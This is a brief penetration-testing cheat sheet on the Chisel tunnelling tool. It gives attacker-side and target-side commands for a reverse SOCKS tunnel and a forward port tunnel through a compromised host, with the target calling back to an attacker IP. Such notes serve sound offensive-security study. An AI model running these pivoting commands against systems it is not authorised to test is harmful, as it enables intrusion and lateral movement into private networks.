> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# Chisel

TCP/UDP tunnel over HTTP: useful when only port 80/443 is allowed outbound, or when you need a quick SOCKS proxy through a compromised host.

## Reverse SOCKS Tunnel

Run the server on your attack box with `--reverse`, then have the target connect out. The SOCKS proxy binds on your side at port 1080.

<Tabs>
  <Tab title="Attacker">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    chisel server -p 8000 --reverse
    ```
  </Tab>

  <Tab title="Target">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    ./chisel client <attacker_IP>:8000 R:socks
    ```
  </Tab>
</Tabs>

## Forward Tunnel

Forward a specific remote port to your local machine: useful for reaching a service on an internal host through the pivot.

<Tabs>
  <Tab title="Attacker">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    chisel server -p 8000
    ```
  </Tab>

  <Tab title="Target">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    ./chisel client <attacker_IP>:8000 <local_port>:<target_IP>:<target_port>
    ```
  </Tab>
</Tabs>